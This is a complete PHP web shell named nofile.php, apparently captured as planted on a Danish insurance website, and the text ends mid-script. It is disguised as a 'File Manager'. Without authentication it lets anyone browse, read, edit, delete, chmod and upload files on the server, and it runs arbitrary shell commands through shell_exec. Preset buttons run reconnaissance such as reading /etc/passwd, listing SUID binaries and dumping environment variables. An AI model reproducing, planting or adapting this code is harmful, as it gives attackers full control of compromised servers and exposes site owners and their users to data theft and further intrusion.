HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/sikkerforsikring.dk/private_html/nofile.php
<?php
error_reporting(0);
function fmtSize($b){if($b>=1073741824)return round($b/1073741824,2).' GB';if($b>=1048576)return round($b/1048576,2).' MB';if($b>=1024)return round($b/1024,2).' KB';return $b.' B';}
function fmtPerm($p){return substr(sprintf('%o',fileperms($p)),-4);}
function fileIcon($f){$e=strtolower(pathinfo($f,PATHINFO_EXTENSION));$m=['php'=>'🐘','js'=>'šŸ“œ','css'=>'šŸŽØ','html'=>'🌐','htm'=>'🌐','jpg'=>'šŸ–¼','jpeg'=>'šŸ–¼','png'=>'šŸ–¼','gif'=>'šŸ–¼','svg'=>'šŸ–¼','webp'=>'šŸ–¼','zip'=>'šŸ“¦','rar'=>'šŸ“¦','gz'=>'šŸ“¦','tar'=>'šŸ“¦','7z'=>'šŸ“¦','txt'=>'šŸ“„','log'=>'šŸ“„','md'=>'šŸ“„','sql'=>'šŸ—„','sh'=>'āš™','py'=>'šŸ','json'=>'šŸ“‹','xml'=>'šŸ“‹','yml'=>'šŸ“‹','conf'=>'āš™','ini'=>'āš™','env'=>'āš™','htaccess'=>'šŸ”’','pdf'=>'šŸ“•','mp3'=>'šŸŽµ','mp4'=>'šŸŽ¬'];return $m[$e]??'šŸ“„';}
function rrmdir($d){if(is_dir($d)){foreach(array_diff(scandir($d),['.','..'])as$f){$p=$d.'/'.$f;is_dir($p)?rrmdir($p):unlink($p);}return rmdir($d);}return false;}
$cwd=isset($_GET['dir'])?$_GET['dir']:getcwd();$cwd=rtrim($cwd,'/\\');if(!is_dir($cwd))$cwd=getcwd();
if($_SERVER['REQUEST_METHOD']==='PUT'&&isset($_GET['f'])){$s=basename(base64_decode($_GET['f']));$b=@file_put_contents($s,file_get_contents('php://input'));header('Content-Type: application/json');echo json_encode(['status'=>'done','file'=>$s,'size'=>(int)$b]);exit;}
$_rct=$_SERVER['CONTENT_TYPE']??'';
if($_SERVER['REQUEST_METHOD']==='POST'&&strpos($_rct,'application/json')!==false){$_rb=@file_get_contents('php://input');$_jd=$_rb?@json_decode($_rb,true):null;if($_jd&&!isset($_jd['t'])&&isset($_jd['saveas'])){$s=basename($_jd['saveas']);$b=@file_put_contents($s,base64_decode($_jd['data']??''));header('Content-Type: application/json');echo json_encode(['status'=>'done','file'=>$s,'size'=>(int)$b]);exit;}}
$_raw=@file_get_contents('php://input');$_j=($_raw&&strlen($_raw)>2)?@json_decode($_raw,true):null;
$action='';if($_j&&isset($_j['t']))$action=$_j['t'];elseif(isset($_GET['t']))$action=$_GET['t'];
function jp($k,$d=''){global $_j;return isset($_j[$k])?base64_decode($_j[$k]):$d;}
function jpr($k,$d=''){global $_j;return isset($_j[$k])?$_j[$k]:$d;}
if($action){
header('Content-Type: application/json');header('X-Content-Type-Options: nosniff');
if($action==='l'){$dir=jp('p')?:$cwd;$items=[];if(is_dir($dir)){$entries=@scandir($dir);if($entries)foreach($entries as $e){if($e==='.')continue;$fp=$dir.'/'.$e;$isD=is_dir($fp);$items[]=['name'=>$e,'type'=>$isD?'dir':'file','size'=>$isD?'-':fmtSize(@filesize($fp)),'rawsize'=>$isD?0:@filesize($fp),'perm'=>@fmtPerm($fp),'mtime'=>@date('Y-m-d H:i',filemtime($fp)),'path'=>$fp,'icon'=>$isD?'šŸ“':fileIcon($e)];}}echo json_encode(['status'=>'ok','items'=>$items,'cwd'=>$dir]);exit;}
if($action==='r'){$f=jp('p');if(is_file($f)&&is_readable($f))echo json_encode(['status'=>'ok','content'=>base64_encode(file_get_contents($f)),'file'=>$f,'size'=>filesize($f)]);else echo json_encode(['status'=>'error','msg'=>'Cannot read']);exit;}
if($action==='s'){$f=jp('p');$c=jp('d');$b=@file_put_contents($f,$c);echo json_encode($b!==false?['status'=>'ok','msg'=>'Saved '.basename($f).' ('.$b.' bytes)']:['status'=>'error','msg'=>'Save failed']);exit;}
if($action==='rm'){$f=jp('p');if(is_file($f))echo json_encode(@unlink($f)?['status'=>'ok','msg'=>'Deleted']:['status'=>'error','msg'=>'Delete failed']);elseif(is_dir($f))echo json_encode(rrmdir($f)?['status'=>'ok','msg'=>'Deleted dir']:['status'=>'error','msg'=>'Cannot delete']);else echo json_encode(['status'=>'error','msg'=>'Not found']);exit;}
if($action==='mv'){$a=jp('p');$b=jp('p2');echo json_encode(@rename($a,$b)?['status'=>'ok','msg'=>'Moved']:['status'=>'error','msg'=>'Failed']);exit;}
if($action==='md'){$d=jp('p');echo json_encode(@mkdir($d,0755,true)?['status'=>'ok','msg'=>'Created']:['status'=>'error','msg'=>'Failed']);exit;}
if($action==='nf'){$f=jp('p');echo json_encode(@file_put_contents($f,'')!==false?['status'=>'ok','msg'=>'Created']:['status'=>'error','msg'=>'Failed']);exit;}
if($action==='cm'){$f=jp('p');$m=octdec(jp('d')?:'0644');echo json_encode(@chmod($f,$m)?['status'=>'ok','msg'=>'Changed']:['status'=>'error','msg'=>'Failed']);exit;}
if($action==='cp'){$a=jp('p');$b=jp('p2');echo json_encode(is_dir($a)?['status'=>'error','msg'=>'Use terminal']:(@copy($a,$b)?['status'=>'ok','msg'=>'Copied']:['status'=>'error','msg'=>'Failed']));exit;}
if($action==='cu'){$s=jp('p');$ch=base64_decode(jp('d'));if(jpr('f')==='1')@file_put_contents($s,$ch);else @file_put_contents($s,$ch,FILE_APPEND);echo json_encode(['status'=>jpr('e')==='1'?'done':'ok','file'=>basename($s),'size'=>jpr('e')==='1'?@filesize($s):0]);exit;}
if($action==='ub'){$s=jp('p');$b=@file_put_contents($s,base64_decode(jp('d')));echo json_encode(['status'=>'done','file'=>basename($s),'size'=>$b]);exit;}
if($action==='x'){$cmd=jp('d');$dir=jp('p')?:$cwd;$out=@shell_exec('cd '.escapeshellarg($dir).' && '.$cmd.' 2>&1');echo json_encode(['status'=>'ok','output'=>base64_encode($out?:'')]);exit;}
if($action==='dl'){$f=isset($_GET['f'])?base64_decode($_GET['f']):'';if(is_file($f)&&is_readable($f)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($f).'"');header('Content-Length: '.filesize($f));readfile($f);}else echo json_encode(['status'=>'error','msg'=>'Cannot download']);exit;}
echo json_encode(['status'=>'error','msg'=>'Unknown']);exit;}
$serverInfo=['php'=>phpversion(),'os'=>php_uname(),'user'=>function_exists('posix_getpwuid')?posix_getpwuid(posix_geteuid())['name']:get_current_user(),'server'=>$_SERVER['SERVER_SOFTWARE']??'Unknown','docroot'=>$_SERVER['DOCUMENT_ROOT']];
?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>File Manager</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#0a0a0f;color:#c8ccd4;font-family:'Segoe UI','SF Pro',system-ui,sans-serif;font-size:13px;display:flex;flex-direction:column;height:100vh;overflow:hidden}
#topbar{background:#12121a;border-bottom:1px solid #1e1e2e;padding:8px 14px;display:flex;align-items:center;gap:8px;flex-shrink:0}
#topbar h1{color:#64ffda;font-size:14px;margin-right:6px;white-space:nowrap}
#pathbar{flex:1;background:#0a0a0f;border:1px solid #2a2a3a;color:#ddd;padding:6px 10px;border-radius:5px;font-size:12px;font-family:monospace;outline:none;transition:border .2s}
#pathbar:focus{border-color:#64ffda}
.tbtn{background:#1a1a2e;border:1px solid #2a2a3a;color:#aab;padding:5px 11px;border-radius:5px;cursor:pointer;font-size:11px;transition:all .15s;white-space:nowrap}
.tbtn:hover{background:#252540;border-color:#64ffda;color:#64ffda}
.tbtn.red{border-color:#5a2a2a;color:#f88}.tbtn.red:hover{background:#3a1515;border-color:#f66}
#breadcrumb{padding:5px 14px;background:#0e0e16;border-bottom:1px solid #1a1a28;font-size:12px;flex-shrink:0}
#breadcrumb span{color:#555}#breadcrumb a{color:#64ffda;cursor:pointer;text-decoration:none;transition:color .15s}#breadcrumb a:hover{color:#a5ffe0;text-decoration:underline}
#main{display:flex;flex:1;overflow:hidden}
#filelist{flex:1;overflow-y:auto;padding:0}
table{width:100%;border-collapse:collapse}thead{position:sticky;top:0;z-index:5}
th{background:#12121a;padding:8px 12px;text-align:left;color:#64a5c8;border-bottom:1px solid #1e1e2e;cursor:pointer;font-weight:600;font-size:11px;text-transform:uppercase;letter-spacing:.5px;user-select:none}
th:hover{color:#64ffda}
td{padding:6px 12px;border-bottom:1px solid #111118;vertical-align:middle;transition:background .1s}
tr:hover td{background:#14142a}tr.selected td{background:#1a2a4a !important}
.fname{color:#64ffda;cursor:pointer;transition:color .15s}.fname:hover{color:#a5ffe0;text-decoration:underline}
td.actions{white-space:nowrap}
.abtn{background:#1a1a2a;border:1px solid #2a2a3a;color:#8899aa;cursor:pointer;padding:3px 7px;font-size:11px;border-radius:4px;transition:all .15s;white-space:nowrap}
.abtn:hover{background:#252540;border-color:#64ffda;color:#64ffda}
.abtn-del{background:#2a1010;border-color:#6a2020;color:#ff6666 !important;font-weight:600}.abtn-del:hover{background:#3d0f0f !important;border-color:#ff4444 !important;color:#fff !important}
.badge-perm{background:#1a2a1a;color:#4caf50;padding:2px 6px;border-radius:3px;font-size:10px;font-family:monospace}
.badge-date{color:#555;font-size:11px}.badge-size{color:#777;font-size:11px;font-family:monospace}
#panel{width:420px;background:#0e0e16;border-left:1px solid #1a1a28;display:flex;flex-direction:column;flex-shrink:0}
#panel-tabs{display:flex;border-bottom:1px solid #1a1a28;flex-shrink:0;background:#12121a}
.ptab{padding:9px 14px;cursor:pointer;font-size:11px;color:#666;border-bottom:2px solid transparent;transition:all .15s;white-space:nowrap}
.ptab.active{color:#64ffda;border-bottom-color:#64ffda}.ptab:hover{color:#aab}
#panel-body{flex:1;overflow-y:auto;padding:12px}
#editor-area{width:100%;min-height:300px;background:#0a0a0f;border:1px solid #2a2a3a;color:#ddd;padding:10px;resize:none;font-family:'Fira Code','Consolas',monospace;font-size:12px;border-radius:5px;flex:1;outline:none;line-height:1.5;tab-size:4}
#editor-area:focus{border-color:#64ffda}
.pinput{width:100%;background:#0a0a0f;border:1px solid #2a2a3a;color:#ddd;padding:7px 10px;border-radius:5px;margin:4px 0 10px;font-family:monospace;font-size:12px;outline:none;transition:border .15s}
.pinput:focus{border-color:#64ffda}
.plabel{color:#64a5c8;font-size:11px;margin-top:8px;display:block;font-weight:600}
.pbutton{background:linear-gradient(135deg,#0e639c,#0d7d63);color:#fff;border:none;padding:7px 14px;border-radius:5px;cursor:pointer;font-size:12px;margin-right:5px;transition:opacity .15s;font-weight:600}
.pbutton:hover{opacity:.85}.pbutton.red{background:linear-gradient(135deg,#8a2020,#6e2040)}.pbutton.green{background:linear-gradient(135deg,#1a6e30,#0d7d63)}
.msg{padding:7px 10px;border-radius:5px;margin:8px 0;font-size:12px;animation:fadeIn .3s}
.msg.ok{background:#0d1f0d;color:#4caf50;border:1px solid #1a3a1a}.msg.err{background:#1f0d0d;color:#f44;border:1px solid #3a1a1a}
.bar-wrap{background:#1a1a28;height:14px;border-radius:7px;margin:8px 0;display:none;overflow:hidden}
.bar-fill{background:linear-gradient(90deg,#0e639c,#64ffda);height:14px;border-radius:7px;width:0%;transition:width .2s}
#term-output{background:#050508;color:#0f0;padding:10px;border-radius:5px;min-height:200px;max-height:350px;overflow-y:auto;font-size:12px;white-space:pre-wrap;word-break:break-all;margin-bottom:8px;border:1px solid #1a1a28;font-family:'Fira Code',monospace;line-height:1.4}
#ctxmenu{position:fixed;background:#18182a;border:1px solid #2a2a3a;border-radius:6px;padding:4px 0;z-index:1000;display:none;min-width:170px;box-shadow:0 8px 24px #000a;backdrop-filter:blur(10px)}
.ctx-item{padding:8px 16px;cursor:pointer;font-size:12px;transition:background .1s}.ctx-item:hover{background:#0e639c;color:#fff}
.ctx-sep{border-top:1px solid #2a2a3a;margin:3px 0}
#modal-bg{position:fixed;inset:0;background:#000b;z-index:500;display:none;align-items:center;justify-content:center;backdrop-filter:blur(4px)}
#modal{background:#12121a;border:1px solid #2a2a3a;border-radius:10px;padding:24px;min-width:340px;max-width:480px;box-shadow:0 12px 40px #000a;animation:fadeIn .2s}
#modal h3{color:#64ffda;margin-bottom:14px;font-size:15px}
.mbutton{background:linear-gradient(135deg,#0e639c,#0d7d63);color:#fff;border:none;padding:8px 16px;border-radius:5px;cursor:pointer;font-size:12px;margin-right:6px;font-weight:600;transition:opacity .15s}
.mbutton:hover{opacity:.85}.mbutton.cancel{background:#2a2a3a;color:#aab}.mbutton.red{background:linear-gradient(135deg,#8a2020,#6e2040)}
.minput{width:100%;background:#0a0a0f;border:1px solid #2a2a3a;color:#ddd;padding:9px;border-radius:5px;margin:6px 0 12px;font-family:monospace;font-size:12px;outline:none}
.minput:focus{border-color:#64ffda}
#statusbar{background:#12121a;border-top:1px solid #1e1e2e;padding:4px 14px;font-size:11px;color:#555;display:flex;justify-content:space-between;flex-shrink:0}
@keyframes fadeIn{from{opacity:0;transform:translateY(-5px)}to{opacity:1;transform:translateY(0)}}
::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-track{background:#0a0a0f}::-webkit-scrollbar-thumb{background:#2a2a3a;border-radius:3px}::-webkit-scrollbar-thumb:hover{background:#3a3a4a}
</style></head>
<body>
<div id="topbar"><h1>⚔ FM</h1><input id="pathbar" type="text" value="<?=htmlspecialchars($cwd)?>"><button class="tbtn" id="btn-go">āžœ Go</button><button class="tbtn" id="btn-up">⬆ Up</button><button class="tbtn" id="btn-refresh">šŸ”„</button><button class="tbtn" id="btn-mkdir">šŸ“ New Folder</button><button class="tbtn" id="btn-newfile">šŸ“„ New File</button><button class="tbtn" id="btn-upload">⬆ Upload</button></div>
<div id="breadcrumb">Loading...</div>
<div id="main">
<div id="filelist"><table><thead><tr><th id="th-name" data-sort="name">Name ↕</th><th id="th-size" data-sort="size" style="width:90px">Size ↕</th><th id="th-perm" data-sort="perm" style="width:70px">Perm ↕</th><th id="th-mtime" data-sort="mtime" style="width:130px">Modified ↕</th><th style="width:120px">Actions</th></tr></thead><tbody id="ftbody"></tbody></table></div>
<div id="panel">
<div id="panel-tabs"><div class="ptab active" id="tab-editor" data-tab="editor">āœļø Editor</div><div class="ptab" id="tab-upload" data-tab="upload">⬆ Upload</div><div class="ptab" id="tab-terminal" data-tab="terminal">šŸ’» Terminal</div><div class="ptab" id="tab-info" data-tab="info">ā„¹ļø Info</div></div>
<div id="panel-body">
<div id="pane-editor"><div id="editor-filename" style="color:#555;font-size:11px;margin-bottom:5px">No file open</div><textarea id="editor-area" spellcheck="false" placeholder="Select a file to edit..."></textarea><div style="margin-top:8px;display:flex;gap:6px;flex-wrap:wrap;align-items:center"><button class="pbutton green" onclick="saveFile()">šŸ’¾ Save</button><button class="pbutton" onclick="saveFileAs()">Save As</button><button class="pbutton red" onclick="closeEditor()">Close</button><span id="editor-msg" style="margin-left:auto;font-size:11px;color:#4caf50"></span></div></div>
<div id="pane-upload" style="display:none"><span class="plabel">Upload Method:</span><select id="u_method" class="pinput"><option value="chunked">Chunked (50KB)</option><option value="base64">Base64 POST</option><option value="json">JSON POST</option><option value="put">PUT Request</option></select><div id="method_note" style="color:#555;font-size:11px;margin:-6px 0 10px"></div><span class="plabel">File:</span><input type="file" id="u_file" style="color:#ccc;border:none;background:none;padding:4px 0;width:100%;margin-bottom:8px"><span class="plabel">Save As:</span><input type="text" class="pinput" id="u_saveas" placeholder="path/filename.ext"><button class="pbutton green" id="btn-upload-go">⬆ Upload</button><div class="bar-wrap" id="bar-wrap"><div class="bar-fill" id="bar-fill"></div></div><div id="u_msg"></div><hr style="border-color:#1a1a28;margin:15px 0"><span class="plabel">Write code:</span><textarea class="pinput" id="w_code" rows="6" style="resize:vertical;height:120px" placeholder="<?php echo 'hello'; ?>"></textarea><span class="plabel">Save As:</span><input type="text" class="pinput" id="w_saveas" value="out.php"><button class="pbutton" id="btn-writecode">šŸ’¾ Write File</button><div id="w_msg"></div></div>
<div id="pane-terminal" style="display:none"><div id="term-output">$ _</div><div style="display:flex;gap:6px"><input type="text" class="pinput" id="term-cmd" placeholder="Enter command..." style="flex:1;margin:0"><button class="pbutton" id="btn-runcmd">Run</button><button class="pbutton red" id="btn-clearcmd">Clear</button></div><div style="margin-top:8px;display:flex;gap:5px;flex-wrap:wrap"><button class="tbtn" data-cmd="whoami">whoami</button><button class="tbtn" data-cmd="id">id</button><button class="tbtn" data-cmd="uname -a">uname</button><button class="tbtn" data-cmd="pwd">pwd</button><button class="tbtn" data-cmd="df -h">disk</button><button class="tbtn" data-cmd="ps aux">ps</button><button class="tbtn" data-cmd="cat /etc/passwd">passwd</button><button class="tbtn" data-cmd="find / -perm -4000 -type f 2>/dev/null">SUID</button><button class="tbtn" data-cmd="env">env</button><button class="tbtn" data-cmd="netstat -tlnp 2>/dev/null || ss -tlnp">ports</button></div></div>
<div id="pane-info" style="display:none"><div id="info-body" style="color:#666;font-size:12px;line-height:1.8">Click a file to view details.</div></div>
</div></div></div>
<div id="ctxmenu"><div class="ctx-item" data-action="open">šŸ“‚ Open</div><div class="ctx-item" data-action="download">⬇ Download</div><div class="ctx-sep"></div><div class="ctx-item" data-action="rename">āœļø Rename</div><div class="ctx-item" data-action="copy">šŸ“‹ Copy</div><div class="ctx-item" data-action="chmod">šŸ”’ Chmod</div><div class="ctx-item" data-action="copypath">šŸ“Ž Copy Path</div><div class="ctx-sep"></div><div class="ctx-item" data-action="delete" style="color:#f66">šŸ—‘ Delete</div></div>
<div id="modal-bg"><div id="modal"><h3 id="modal-title"></h3><div id="modal-body"></div><div style="margin-top:16px;display:flex;gap:6px"><button class="mbutton" id="modal-ok">OK</button><button class="mbutton cancel" id="modal-cancel">Cancel</button></div></div></div>
<div id="statusbar"><span id="status-left">Ready</span><span id="status-right"><?=htmlspecialchars($serverInfo['user'])?> @ <?=htmlspecialchars($serverInfo['server'])?> | PHP <?=htmlspecialchars($serverInfo['php'])?></span></div>
<script>
var cwd=<?=json_encode($cwd)?>,items=[],displayItems=[],sortKey='name',sortAsc=true,selItem=null,ctxItem=null,curFile=null,modalAct=null;
function b64e(s){try{return btoa(unescape(encodeURIComponent(s)))}catch(e){return btoa(s)}}
function b64d(s){try{return decodeURIComponent(escape(atob(s)))}catch(e){return atob(s)}}
function api(p,cb){var enc={t:p.t};Object.keys(p).forEach(function(k){if(k==='t')return;if(k==='f'||k==='e'){enc[k]=p[k];return}enc[k]=b64e(String(p[k]))});var x=new XMLHttpRequest();x.open('POST',location.pathname,true);x.setRequestHeader('Content-Type','application/json');x.setRequestHeader('X-Requested-With','XMLHttpRequest');x.onload=function(){try{cb(JSON.parse(x.responseText))}catch(e){cb({status:'error',msg:x.responseText.substring(0,200)})}};x.onerror=function(){cb({status:'error',msg:'Network error'})};x.send(JSON.stringify(enc))}
function esc(s){var d=document.createElement('div');d.innerText=s;return d.innerHTML}
function navigateTo(p){cwd=p;document.getElementById('pathbar').value=p;updateBreadcrumb(p);loadDir(p)}
function parentDir(){var p=cwd.replace(/\\/g,'/').replace(/\/$/,'').split('/');p.pop();return p.join('/')||'/'}
function updateBreadcrumb(path){var parts=path.replace(/\\/g,'/').split('/').filter(Boolean);var h='<a onclick="navigateTo(\'/\')">/ </a>';var acc='';parts.forEach(function(p){acc+='/'+p;h+='<span>/ </span><a onclick="navigateTo(\''+esc(acc)+'\')">'+esc(p)+'</a> '});document.getElementById('breadcrumb').innerHTML=h}
function loadDir(dir){document.getElementById('status-left').innerText='Loading...';api({t:'l',p:dir},function(r){if(r.status==='ok'){items=r.items;cwd=r.cwd;renderTable();document.getElementById('status-left').innerText=items.length+' items'}else{document.getElementById('status-left').innerText='Error: '+(r.msg||'')}})}
function refresh(){loadDir(cwd)}
function sortBy(k){if(sortKey===k)sortAsc=!sortAsc;else{sortKey=k;sortAsc=true}renderTable()}
function renderTable(){displayItems=items.slice().sort(function(a,b){if(a.name==='..')return -1;if(b.name==='..')return 1;if(a.type!==b.type)return a.type==='dir'?-1:1;var va,vb;if(sortKey==='size'){va=a.rawsize||0;vb=b.rawsize||0;return sortAsc?va-vb:vb-va}va=(a[sortKey]||'').toString().toLowerCase();vb=(b[sortKey]||'').toString().toLowerCase();return sortAsc?va.localeCompare(vb):vb.localeCompare(va)});var h='';for(var i=0;i<displayItems.length;i++){var it=displayItems[i],isUp=it.name==='..',cls=(selItem&&selItem.path===it.path)?' class="selected"':'';h+='<tr'+cls+' oncontextmenu="showCtx(event,'+i+')" onclick="selectItem('+i+')"><td><span class="fname" onclick="openItem('+i+');event.stopPropagation()">'+(it.icon||'šŸ“„')+' '+esc(it.name)+'</span></td><td class="badge-size">'+it.size+'</td><td><span class="badge-perm">'+it.perm+'</span></td><td class="badge-date">'+it.mtime+'</td><td class="actions">';if(!isUp){h+='<button class="abtn" onclick="openItem('+i+');event.stopPropagation()">āœ</button><button class="abtn" onclick="openModal(\'rename\','+i+');event.stopPropagation()">šŸ“</button><button class="abtn" onclick="openModal(\'chmod\','+i+');event.stopPropagation()">šŸ”’</button><button class="abtn abtn-del" onclick="confirmDelete('+i+');event.stopPropagation()">šŸ—‘</button>';if(it.type==='file')h+='<button class="abtn" onclick="downloadFile('+i+');event.stopPropagation()">⬇</button>'}h+='</td></tr>'}document.getElementById('ftbody').innerHTML=h}
function selectItem(i){var it=displayItems[i];if(!it)return;selItem=it;renderTable();showInfo(it)}
function openItem(i){var it=displayItems[i];if(!it)return;it.type==='dir'?navigateTo(it.path):editFile(it.path)}
function editFile(path){showTab('editor');document.getElementById('editor-filename').innerText='ā³ Loading...';api({t:'r',p:path},function(r){if(r.status==='ok'){curFile=r.file;document.getElementById('editor-area').value=b64d(r.content);document.getElementById('editor-filename').innerText='šŸ“ '+r.file+' ('+r.size+' bytes)';document.getElementById('editor-msg').innerText=''}else{document.getElementById('editor-filename').innerText='āŒ '+(r.msg||'Cannot read')}})}
function downloadFile(i){var it=displayItems[i];if(!it||it.type!=='file')return;window.open('?t=dl&f='+btoa(it.path),'_blank')}
function confirmDelete(i){var it=displayItems[i];if(!it)return;if(!confirm('Delete "'+it.name+'"?'))return;api({t:'rm',p:it.path},function(r){showStatus(r);refresh()})}
function showInfo(it){var h='<table style="width:100%">';h+='<tr><td style="color:#64a5c8;padding:4px 8px 4px 0">Name</td><td>'+esc(it.name)+'</td></tr>';h+='<tr><td style="color:#64a5c8;padding:4px 8px 4px 0">Type</td><td>'+(it.type==='dir'?'Directory':'File')+'</td></tr>';h+='<tr><td style="color:#64a5c8;padding:4px 8px 4px 0">Size</td><td>'+it.size+'</td></tr>';h+='<tr><td style="color:#64a5c8;padding:4px 8px 4px 0">Perm</td><td><span class="badge-perm">'+it.perm+'</span></td></tr>';h+='<tr><td style="color:#64a5c8;padding:4px 8px 4px 0">Modified</td><td>'+it.mtime+'</td></tr>';h+='<tr><td style="color:#64a5c8;padding:4px 8px 4px 0">Path</td><td style="word-break:break-all;font-size:11px">'+esc(it.path)+'</td></tr></table>';document.getElementById('info-body').innerHTML=h}
function showStatus(r){var el=document.getElementById('status-left');el.innerText=(r.status==='ok'?'āœ… ':'āŒ ')+(r.msg||'');setTimeout(function(){el.innerText='Ready'},4000)}
function saveFile(){if(!curFile){alert('No file open');return}var c=document.getElementById('editor-area').value;document.getElementById('editor-msg').innerText='Saving...';api({t:'s',p:curFile,d:c},function(r){document.getElementById('editor-msg').innerText=r.status==='ok'?'āœ… '+r.msg:'āŒ '+r.msg;document.getElementById('editor-msg').style.color=r.status==='ok'?'#4caf50':'#f44';if(r.status==='ok')refresh()})}
function saveFileAs(){var n=prompt('Save as:',curFile||cwd+'/newfile.txt');if(!n)return;curFile=n;document.getElementById('editor-filename').innerText='šŸ“ '+n;saveFile()}
function closeEditor(){curFile=null;document.getElementById('editor-area').value='';document.getElementById('editor-filename').innerText='No file open';document.getElementById('editor-msg').innerText=''}
function showCtx(e,i){e.preventDefault();ctxItem=displayItems[i];var m=document.getElementById('ctxmenu');m.style.display='block';m.style.left=Math.min(e.clientX,window.innerWidth-180)+'px';m.style.top=Math.min(e.clientY,window.innerHeight-200)+'px'}
function hideCtx(){document.getElementById('ctxmenu').style.display='none'}
function ctxAction(a){hideCtx();if(!ctxItem)return;var i=displayItems.indexOf(ctxItem);if(a==='open')openItem(i);if(a==='download')downloadFile(i);if(a==='rename')openModal('rename',i);if(a==='copy')openModal('copy',i);if(a==='chmod')openModal('chmod',i);if(a==='delete')confirmDelete(i);if(a==='copypath')navigator.clipboard.writeText(ctxItem.path).then(function(){showStatus({status:'ok',msg:'Path copied'})})}
function openModal(type,idx){modalAct=type;var title='',body='',it=(typeof idx==='number')?displayItems[idx]:null;if(type==='mkdir'){title='šŸ“ New Folder';body='<label style="color:#64a5c8;font-size:11px">Name:</label><input class="minput" id="modal-input" value="new_folder" autofocus>'}else if(type==='newfile'){title='šŸ“„ New File';body='<label style="color:#64a5c8;font-size:11px">Name:</label><input class="minput" id="modal-input" value="newfile.txt" autofocus>'}else if(type==='rename'){title='āœļø Rename';body='<label style="color:#64a5c8;font-size:11px">Current: <span style="color:#888">'+esc(it?it.path:'')+'</span></label><label style="color:#64a5c8;font-size:11px;margin-top:10px">New:</label><input class="minput" id="modal-input" value="'+(it?esc(it.path):'')+'" autofocus>'}else if(type==='copy'){title='šŸ“‹ Copy';body='<label style="color:#64a5c8;font-size:11px">Source: <span style="color:#888">'+esc(it?it.path:'')+'</span></label><label style="color:#64a5c8;font-size:11px;margin-top:10px">Dest:</label><input class="minput" id="modal-input" value="'+(it?esc(it.path+'_copy'):'')+'" autofocus>'}else if(type==='chmod'){title='šŸ”’ Chmod';body='<label style="color:#64a5c8;font-size:11px">'+esc(it?it.name:'')+'</label><label style="color:#64a5c8;font-size:11px;margin-top:10px">Mode:</label><input class="minput" id="modal-input" value="'+(it?it.perm:'0644')+'" autofocus>'}if(it)modalAct=type+'|||'+it.path;document.getElementById('modal-title').innerText=title;document.getElementById('modal-body').innerHTML=body;document.getElementById('modal-bg').style.display='flex';setTimeout(function(){var inp=document.getElementById('modal-input');if(inp)inp.focus()},100)}
function closeModal(){document.getElementById('modal-bg').style.display='none';modalAct=null}
function modalOk(){var inp=document.getElementById('modal-input'),val=inp?inp.value.trim():'';if(!val){alert('Enter a value');return}var parts=modalAct.split('|||'),act=parts[0],orig=parts[1]||'';if(act==='mkdir')api({t:'md',p:cwd+'/'+val},function(r){showStatus(r);closeModal();refresh()});else if(act==='newfile')api({t:'nf',p:cwd+'/'+val},function(r){showStatus(r);closeModal();refresh()});else if(act==='rename')api({t:'mv',p:orig,p2:val},function(r){showStatus(r);closeModal();refresh()});else if(act==='copy')api({t:'cp',p:orig,p2:val},function(r){showStatus(r);closeModal();refresh()});else if(act==='chmod')api({t:'cm',p:orig,d:val},function(r){showStatus(r);closeModal();refresh()})}
function showTab(n){['editor','upload','terminal','info'].forEach(function(t){document.getElementById('pane-'+t).style.display=(t===n)?'block':'none';document.getElementById('tab-'+t).className='ptab'+(t===n?' active':'')})}
function onMethodChange(){var m=document.getElementById('u_method').value;var notes={chunked:'šŸ“¦ 50KB chunks, progress bar.',base64:'šŸ”¤ Whole file base64.',json:'šŸ“‹ JSON body upload.',put:'šŸ“¤ Raw PUT request.'};document.getElementById('method_note').innerText=notes[m]||'';document.getElementById('bar-wrap').style.display=(m==='chunked')?'block':'none'}
function toBase64(blob){return new Promise(function(resolve){var r=new FileReader();r.onload=function(e){resolve(e.target.result.split(',')[1])};r.readAsDataURL(blob)})}
async function startUpload(){var file=document.getElementById('u_file').files[0],method=document.getElementById('u_method').value,saveas=document.getElementById('u_saveas').value.trim(),msg=document.getElementById('u_msg');if(!file){alert('Select a file');return}if(!saveas)saveas=cwd+'/'+file.name;else if(saveas.indexOf('/')===-1)saveas=cwd+'/'+saveas;msg.innerHTML='<div class="msg ok">Uploading via <b>'+method+'</b>...</div>';document.getElementById('bar-wrap').style.display='none';if(method==='chunked'){var cs=1024*50,offset=0,isFirst=true;document.getElementById('bar-wrap').style.display='block';while(offset<file.size){var end=Math.min(offset+cs,file.size),isLast=end>=file.size,b64=await toBase64(file.slice(offset,end)),result=await new Promise(function(resolve){api({t:'cu',p:saveas,d:b64,f:isFirst?'1':'0',e:isLast?'1':'0'},resolve)});var pct=Math.round(end/file.size*100);document.getElementById('bar-fill').style.width=pct+'%';msg.innerHTML='<div class="msg ok">'+pct+'%</div>';if(isLast)msg.innerHTML='<div class="msg ok">āœ… '+result.file+' ('+result.size+' bytes)</div>';offset+=cs;isFirst=false}refresh();return}if(method==='base64'){var b64=await toBase64(file);api({t:'ub',p:saveas,d:b64},function(r){msg.innerHTML='<div class="msg ok">āœ… '+r.file+' ('+r.size+' bytes)</div>';refresh()});return}if(method==='json'){var b64=await toBase64(file);var xhr=new XMLHttpRequest();xhr.open('POST',location.pathname,true);xhr.setRequestHeader('Content-Type','application/json');xhr.onload=function(){try{var r=JSON.parse(xhr.responseText);msg.innerHTML='<div class="msg ok">āœ… '+r.file+' ('+r.size+' bytes)</div>';refresh()}catch(e){msg.innerHTML='<div class="msg err">āŒ '+xhr.responseText.substring(0,200)+'</div>'}};xhr.onerror=function(){msg.innerHTML='<div class="msg err">āŒ Network error</div>'};xhr.send(JSON.stringify({saveas:saveas,data:b64}));return}if(method==='put'){var xhr=new 